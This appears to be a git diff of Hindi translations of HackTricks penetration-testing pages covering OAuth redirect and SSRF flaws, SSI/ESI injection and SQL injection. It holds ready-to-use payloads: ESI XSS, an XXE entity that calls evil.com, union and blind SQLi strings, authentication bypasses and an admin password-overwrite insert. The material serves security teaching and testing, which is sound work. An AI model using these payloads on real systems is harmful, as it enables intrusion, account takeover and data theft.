3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर 30X कोड के साथ वापस भेजता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर पुनर्निर्देशित करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर Google के माध्यम से उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर वापस भेजता है जिसमें 30X कोड होता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर पुनर्निर्देशित करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर Google के माध्यम से उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
### SSRFs parameters <a href="#bda5" id="bda5"></a>
### SSRFs पैरामीटर <a href="#bda5" id="bda5"></a>
[**इस शोध की जांच करें**](https://portswigger.net/research/hidden-oauth-attack-vectors) **इस तकनीक के आगे के विवरण के लिए।**
@ -197,26 +199,25 @@ OAuth में डायनामिक क्लाइंट रजिस्
**मुख्य बिंदु:**
- **डायनामिक क्लाइंट रजिस्ट्रेशन** अक्सर `/register` पर मैप किया जाता है और इसमें `client_name`, `client_secret`, `redirect_uris`, और लोगो या JSON वेब कुंजी सेट (JWKs) के लिए URLs जैसे विवरण POST अनुरोधों के माध्यम से स्वीकार करता है।
- यह सुविधा **RFC7591** और **OpenID कनेक्ट रजिस्ट्रेशन 1.0** में निर्धारित विनिर्देशों का पालन करती है, जिसमें ऐसे पैरामीटर शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
- यह सुविधा **RFC7591** और **OpenID कनेक्ट रजिस्ट्रेशन 1.0** में निर्धारित विनिर्देशों का पालन करती है, जिसमें पैरामीटर शामिल हैं जो SSRF के प्रति संवेदनशील हो सकते हैं।
- रजिस्ट्रेशन प्रक्रिया अनजाने में कई तरीकों से सर्वरों को SSRF के प्रति उजागर कर सकती है:
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL ज सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL को गलत तरीके से संभाला गया तो XSS का कारण बन सकता है।
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, ज यदि दुर्भावनापूर्ण तरीके से तैयार किया गया हो, तो सर्वर को हमलावर-नियंत्रित सर्वर पर आउटबाउंड अनुरोध करने का कारण बन सकता है।
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर प्राप्त कर सकता है, जिससे SSRF का अवसर बनता है।
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL जिसे सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL को गलत तरीके से संभाला गया तो XSS की ओर ले जा सकता है।
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, जिसे यदि दुर्भावनापूर्ण तरीके से तैयार किया गया हो, तो सर्वर को हमलावर-नियंत्रित सर्वर पर आउटबाउंड अनुरोध करने के लिए मजबूर कर सकता है।
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर द्वारा प्राप्त किया जा सकता है, जिससे SSRF का अवसर उत्पन्न होता है।
- **`request_uris`**: क्लाइंट के लिए अनुमत अनुरोध URIs की सूची, जिन्हें यदि सर्वर इन URIs को प्राधिकरण प्रक्रिया की शुरुआत में प्राप्त करता है तो शोषित किया जा सकता है।
**शोषण रणनीति:**
- SSRF को `logo_uri`, `jwks_uri`, या `sector_identifier_uri` जैसे पैरामीटर में दुर्भावनापूर्ण URLs के साथ नए क्लाइंट को रजिस्टर करके ट्रिगर किया जा सकता है।
- जबकि `request_uris` के माध्यम से सीधे शोषण को व्हाइटलिस्ट नियंत्रणों द्वारा कम किया जा सकता है, एक पूर्व-रजिस्टर किया गया, हमलावर-नियंत्रित `request_uri` प्रदान करना प्राधिकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
- SSRF को `logo_uri`, `jwks_uri`, या `sector_identifier_uri` जैसे पैरामीटर में दुर्भावनापूर्ण URLs के साथ नए क्लाइंट को पंजीकृत करके ट्रिगर किया जा सकता है।
- जबकि `request_uris` के माध्यम से सीधे शोषण को व्हाइटलिस्ट नियंत्रणों द्वारा कम किया जा सकता है, एक पूर्व-पंजीकृत, हमलावर-नियंत्रित `request_uri` प्रदान करना प्राधिकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
## OAuth providers Race Conditions
## OAuth प्रदाताओं की दौड़ की स्थितियाँ
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित रेस कंडीशंस के लिए इसे पढ़ें**](race-condition.md).
यदि आप जिस प्लेटफॉर्म का परीक्षण कर रहे हैं वह एक OAuth प्रदाता है [**संभावित दौड़ की स्थितियों के लिए इसे पढ़ें**](race-condition.md)。
## References
## संदर्भ
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
**(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) वे निर्देश हैं जो **HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित किए जाते हैं** जब पृष्ठों को परोसा जा रहा होता है। ये आपको **एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री** जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के।\
SSI (Server Side Includes) निर्देश हैं जो **HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित होते हैं** जब पृष्ठों को परोसा जा रहा होता है। ये आपको **एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री** जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के।\
उदाहरण के लिए, आप एक मौजूदा HTML पृष्ठ में एक निर्देश रख सकते हैं, जैसे:
`<!--#echo var="DATE_LOCAL" -->`
@ -94,17 +94,17 @@ hell<!--esi-->o
- **Includes**: `<esi:includes>` निर्देश का समर्थन करता है
- **Vars**: `<esi:vars>` निर्देश का समर्थन करता है। XSS फ़िल्टर को बायपास करने के लिए उपयोगी
- **Cookie**: दस्तावेज़ कुकीज़ ESI इंजन के लिए सुलभ हैं
- **Upstream Headers Required**: सरोगेट एप्लिकेशन ESI कथनों को संसाधित नहीं करेंगे जब तक कि अपस्ट्रीम एप्लिकेशन हेडर प्रदान न करे
- **Upstream Headers Required**: सरोगेट एप्लिकेशन ESI बयानों को संसाधित नहीं करेंगे जब तक कि अपस्ट्रीम एप्लिकेशन हेडर प्रदान न करे
- **Host Allowlist**: इस मामले में, ESI शामिल केवल अनुमत सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव है
| **सॉफ़्टवेयर** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
| Squid3 | हाँ | हाँ | हाँ | हाँ | नहीं |
| Varnish Cache | हाँ | नहीं | नहीं | हाँ | हाँ |
| Fastly | हाँ | नहीं | नहीं | नहीं | हाँ |
| Akamai ESI Test Server (ETS) | हाँ | हाँ | हाँ | नहीं | नहीं |
| NodeJS esi | हाँ | हाँ | हाँ | नहीं | नहीं |
| NodeJS nodesi | हाँ | नहीं | नहीं | नहीं | वैकल्पिक |
#### XSS
@ -136,9 +136,9 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Private Local File
#### निजी स्थानीय फ़ाइल
इसको "Local File Inclusion" के साथ भ्रमित न करें:
इसको "स्थानीय फ़ाइल समावेशन" के साथ भ्रमित न करें:
```markup
<esi:include src="secret.txt">
```
@ -183,7 +183,7 @@ Host: anotherhost.com"/>
```
### ESI + XSLT = XXE
यह संभव है कि **`eXtensible Stylesheet Language Transformations (XSLT)`** सिंटैक्स को ESI में केवल **`dca`** मान को **`xslt`** के रूप में इंगित करके उपयोग किया जा सके। जो **XSLT** का दुरुपयोग करके XML External Entity भेद्यता (XXE) बनाने और दुरुपयोग करने की अनुमति दे सकता है:
यह संभव है कि **`eXtensible Stylesheet Language Transformations (XSLT)`** सिंटैक्स का उपय ESI में केवल **`dca`** मान को **`xslt`** के रूप में इंगित करके किया जा सके। जो **XSLT** का दुरुपयोग करके एक XML External Entity भेद्यता (XXE) बनाने और दुरुपयोग करने की अनुमति दे सकता है:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -193,6 +193,8 @@ XSLT फ़ाइल:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
XSLT पृष्ठ की जांच करें:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
@ -205,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## ब्रूट-फोर्स पहचान सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## SQL इंजेक्शन क्या है?
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरीज़ में हस्तक्षेप** करने की अनुमति देता है। यह कमजोरियां हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करन चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
एक **SQL इंजेक्शन** एक सुरक्षा दोष है जो हमलावरों को एक एप्लिकेशन के **डेटाबेस क्वेरीज़ में हस्तक्षेप** करने की अनुमति देता है। यह भेद्यता हमलावरों को **देखने**, **संशोधित करने** या **हटाने** की अनुमति दे सकती है, जो उन्हें एक्सेस नहीं करन चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या कोई भी डेटा शामिल है जिसे एप्लिकेशन एक्सेस कर सकता है। ऐसे कार्य एप्लिकेशन की कार्यक्षमता या सामग्री में स्थायी परिवर्तन का परिणाम बन सकते हैं या यहां तक कि सर्वर का समझौता या सेवा का इनकार भी कर सकते हैं।
## प्रवेश बिंदु पहचान
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **कमजोर** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
जब एक साइट **SQL इंजेक्शन (SQLi)** के लिए **भेद्य** प्रतीत होती है, जो SQLi-संबंधित इनपुट के प्रति असामान्य सर्वर प्रतिक्रियाओं के कारण होती है, तो **पहला कदम** यह समझना है कि **क्वेरी में डेटा को बिना बाधित किए कैसे इंजेक्ट करें**। इसके लिए वर्तमान संदर्भ से **प्रभावी ढंग से बचने** की विधि की पहचान करना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:
```
[Nothing]
'
@ -24,7 +23,7 @@
```
फिर, आपको यह जानने की आवश्यकता है कि **क्वेरी को कैसे ठीक करें ताकि कोई त्रुटियाँ न हों**। क्वेरी को ठीक करने के लिए, आप **डेटा इनपुट** कर सकते हैं ताकि **पिछली क्वेरी नए डेटा को स्वीकार कर सके**, या आप बस **अपना डेटा इनपुट** कर सकते हैं और **अंत में एक टिप्पणी प्रतीक जोड़ सकते हैं**
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं कर रही है, तो आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
_ध्यान दें कि यदि आप त्रुटि संदेश देख सकते हैं या जब क्वेरी काम कर रही है और जब नहीं, तब आप अंतर देख सकते हैं, तो यह चरण अधिक आसान होगा।_
### **टिप्पणियाँ**
```sql
@ -52,13 +51,13 @@ SQLite
HQL
HQL does not support comments
```
### तार्किक संचालन के साथ पुष्टि करना
### Confirming with logical operations
SQL इंजेक्शन कमजोरियों की पुष्टि करने के लिए एक विश्वसनीय विधि **तार्किक संचालन** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को संशोधित करके `?username=Peter' or '1'='1` करने पर समान सामग्री प्राप्त होना SQL इंजेक्शन की कमजोरी को इंगित करता है।
SQL injection vulnerability की पुष्टि करने के लिए एक विश्वसनीय विधि **logical operation** को निष्पादित करना और अपेक्षित परिणामों का अवलोकन करना है। उदाहरण के लिए, एक GET पैरामीटर जैसे `?username=Peter` को `?username=Peter' or '1'='1` में संशोधित करने पर समान सामग्री उत्पन्न होना SQL injection vulnerability का संकेत देता है।
इसी तरह, **गणितीय संचालन** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL इंजेक्शन का संकेत है।
इसी तरह, **mathematical operations** का उपयोग एक प्रभावी पुष्टि तकनीक के रूप में किया जाता है। उदाहरण के लिए, यदि `?id=1` और `?id=2-1` तक पहुँचने पर समान परिणाम उत्पन्न होते हैं, तो यह SQL injection का संकेत है।
तार्किक संचालन पुष्टि के उदाहरण:
Logical operation confirmation को प्रदर्शित करने वाले उदाहरण:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
@ -126,21 +125,23 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट करने** के लिए बना सकते हैं।
इसके अलावा, यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे **डेटाबेस का संस्करण प्रिंट करने** के लिए बना सकते हैं।
> [!NOTE]
> एक निरंतरता में, हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
> एक निरंतरता के रूप में, हम विभिन्न प्रकार के SQL Injection का शोषण करने के लिए विभिन्न विधियों पर चर्चा करने जा रहे हैं। हम उदाहरण के रूप में MySQL का उपयोग करेंगे।
### PortSwigger के साथ पहचानना
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## यूनियन आधारित शोषण
### कॉलम की संख्या का पता लगाना
यदि आप क्वेरी के आउटपुट को देख सकते हैं, तो यह इसका शोषण करने का सबसे अच्छा तरीका है।\
सबसे पहले, हमें यह पता लगाना है कि **प्रारंभिक अनुरोध** कितने **कॉलम** वापस कर रहा है। इसका कारण यह है कि **दोनों क्वेरियों को समान संख्या में कॉलम वापस करना चाहिए**।\
सबसे पहले, हमें यह पता लगाने की आवश्यकता है कि **प्रारंभिक अनुरोध** कितने **कॉलम** वापस कर रहा है। इसका कारण यह है कि **दोनों क्वेर को समान संख्या में कॉलम वापस करना चाहिए**।\
इस उद्देश्य के लिए आमतौर पर दो विधियों का उपयोग किया जाता है:
#### ऑर्डर/ग्रुप द्वारा
@ -163,7 +164,7 @@ SQLite
```
#### UNION SELECT
जांच करें कि क्वेरी सही है या नहीं, इसके लिए अधिक से अधिक नल मान चुनें:
सही क्वेरी तक अधिक से अधिक नल मान चुनें:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
@ -184,7 +185,7 @@ _आपको `null` मानों का उपयोग करना चा
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा एक ही कार्यप्रणाली होती है।_
_हर अलग-अलग डेटाबेस पर इस डेटा को खोजने का एक अलग तरीका है, लेकिन यह हमेशा ही कार्यप्रणाली होती है।_
## छिपे हुए यूनियन आधारित का शोषण
@ -212,7 +213,7 @@ _हर अलग-अलग डेटाबेस पर इस डेटा क
```
## Exploiting Error Blind SQLi
यह **पहले के मामले की तरह ही** है लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप **भेद कर सकते हैं** कि SQL क्वेरी में एक **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
यह **पहले के समान मामला है** लेकिन क्वेरी से सही/गलत प्रतिक्रिया के बीच भेद करने के बजाय आप **भेद कर सकते हैं** कि SQL क्वेरी में एक **त्रुटि** है या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप हर बार SQLerror को मजबूर कर सकते हैं जब आप सही अक्षर का अनुमान लगाते हैं:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -224,7 +225,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Stacked Queries
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड वल्नरेबिलिटीज** के संबंध में उपयोगी है जहा आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
आप स्टैक्ड क्वेरीज़ का उपयोग करके **एक के बाद एक कई क्वेरीज़ को निष्पादित** कर सकते हैं। ध्यान दें कि जबकि बाद की क्वेरीज़ निष्पादित होती हैं, **परिणाम** **ऐप्लिकेशन को वापस नहीं किए जाते**। इसलिए यह तकनीक मुख्य रूप से **ब्लाइंड वल्नरेबिलिटीज** के संबंध में उपयोगी है जहा आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तीय त्रुटि, या समय विलंब को ट्रिगर कर सकते हैं।
**Oracle** **स्टैक्ड क्वेरीज़** का समर्थन नहीं करता। **MySQL, Microsoft** और **PostgreSQL** उनका समर्थन करते हैं: `QUERY-1-HERE; QUERY-2-HERE`
@ -266,7 +267,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने के लिए इनपुट तैयार कर सकते हैं जो, जब हैश किया जाता है, अप्रत्याशित SQL कमांड भागों का उत्पादन करता है, जिससे अनधिकृत पहुंच होती है।
यह क्वेरी एक कमजोरियों को प्रदर्शित करती है जब MD5 को प्रमाणीकरण जांचों में कच्चे आउटपुट के लिए true के साथ उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील हो जाता है। हमलावर इसको इस तरह से भुनाने में सक्षम होते हैं कि वे ऐसे इनपुट तैयार करते हैं जो, जब हैश किए जाते हैं, अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -282,9 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK प्रमाणीकरण बापास
### GBK प्रमाणीकरण बापास
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को स्केप किया जाएगा तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
यदि ' को स्केप किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' स्केप होता है तो यह बनेगा: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -317,11 +318,11 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
यदि डेटाबेस कमजोर है और उपयोगकर्ता नाम के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप उपयोगकर्ता **admin** का अनुकरण करना चाहते हैं, तो एक उपयोगकर्ता नाम बनाने की कोशिश करें: "_admin \[30 स्पेस] a_" और कोई भी पासवर्ड।
डेटाबेस **जांच करेगा** कि क्या प्रस्तुत **उपयोगकर्ता नाम** डेटाबेस के अंदर **मौजूद** है। यदि **नहीं**, तो यह **उपयोगकर्ता नाम** को **अधिकतम अनुमत अक्षरों की संख्या** (इस मामले में: "_admin \[25 स्पेस]_") तक **कट** करेगा और फिर यह **स्वतः सभी स्पेस को अंत में हटा देगा** डेटाबेस के अंदर उपयोगकर्ता "**admin**" को **नए पासवर्ड** के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया है)।
डेटाबेस **जांच करेगा** कि क्या प्रस्तुत **उपयोगकर्ता नाम** डेटाबेस के अंदर **मौजूद** है। यदि **नहीं**, तो यह **उपयोगकर्ता नाम** को **अधिकतम अनुमत अक्षरों की संख्या** (इस मामले में: "_admin \[25 स्पेस]_") तक **कट** करेगा और फिर यह **स्वतः सभी स्पेस को अंत में हटा देगा** डेटाबेस के अंदर उपयोगकर्ता "**admin**" को **नए पासवर्ड** के साथ अपडेट करेगा (कुछ त्रुटि उत्पन्न हो सकती है लेकिन इसका मतलब यह नहीं है कि यह काम नहीं किया है)।
अधिक जानकारी: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_नोट: यह हमला नवीनतम MySQL इंस्टॉलेशन में ऊपर वर्णित तरीके से काम नहीं करेगा। जबकि तुलना अभी भी डिफ़ॉल्ट रूप से ट्रेलिंग व्हाइटस्पेस की अनदेखी करती है, एक स्ट्रिंग डालने का प्रयास जो एक फ़ील्ड की लंबाई से अधिक है, एक त्रुटि का परिणाम देगा, और डालना विफल हो जाएगा। इस जांच के बारे में अधिक जानकारी के लिए:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_नोट: यह हमला नवीनतम MySQL इंस्टॉलेशन में ऊपर वर्णित के रूप में काम नहीं करेगा। जबकि तुलना अभी भी डिफ़ॉल्ट रूप से ट्रेलिंग व्हाइटस्पेस की अनदेखी करती है, एक स्ट्रिंग डालने का प्रयास जो एक फ़ील्ड की लंबाई से अधिक है, एक त्रुटि का परिणाम देगा, और डालना विफल हो जाएगा। इस जांच के बारे में अधिक जानकारी के लिए:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
@ -335,15 +336,15 @@ MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज़ का उपयो
Example Payload Injection:
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक धोखा है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
एक इंजेक्शन पेलोड इस प्रकार तैयार किया जा सकता है, जहाँ `users` तालिका में दो पंक्तियाँ डालने का प्रयास किया जाता है। पहली पंक्ति एक डिकॉय है, और दूसरी पंक्ति एक मौजूदा व्यवस्थापक के ईमेल को लक्षित करती है जिसका उद्देश्य पासवर्ड को अपडेट करना है:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
यहाँ यह कैसे काम करता है:
- क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: एक `generic_user@example.com` के लिए और दूसरी `admin_generic@example.com` के लिए।
- यदि `admin_generic@example.com` के लिए पंक्ति पहले से मौजूद है, तो `ON DUPLICATE KEY UPDATE` क्लॉज सक्रिय होता है, जो MySQL को मौजूदा पंक्ति के `password` फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित करता है।
- इसके परिणामस्वरूप, प्रमाणीकरण `admin_generic@example.com` का उपयोग करके bcrypt हैश ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश का प्रतिनिधित्व करता है, जिसे इच्छित पासवर्ड के वास्तविक हैश से बदलना चाहिए) के साथ किया जा सकता है।
- यदि `admin_generic@example.com` के लिए पंक्ति पहले से मौजूद है, तो `ON DUPLICATE KEY UPDATE` क्लॉज सक्रिय होता है, जो MySQL को मौजूदा पंक्ति के `password` फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने का निर्देश देता है।
- परिणामस्वरूप, प्रमाणीकरण `admin_generic@example.com` का उपयोग करके bcrypt हैश ("bcrypt_hash_of_newpassword" नए पासवर्ड के bcrypt हैश का प्रतिनिधित्व करता है, जिसे इच्छित पासवर्ड के वास्तविक हैश से बदलना चाहिए) के साथ किया जा सकता है।
### जानकारी निकालें
@ -419,7 +420,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generic Bypasses
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
@ -456,11 +457,13 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
यह ट्रिक [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) से ली गई थी।
यह तरकीब [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) से ली गई थी।
### WAF बायपास सुझाव उपकरण
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## अन्य गाइड
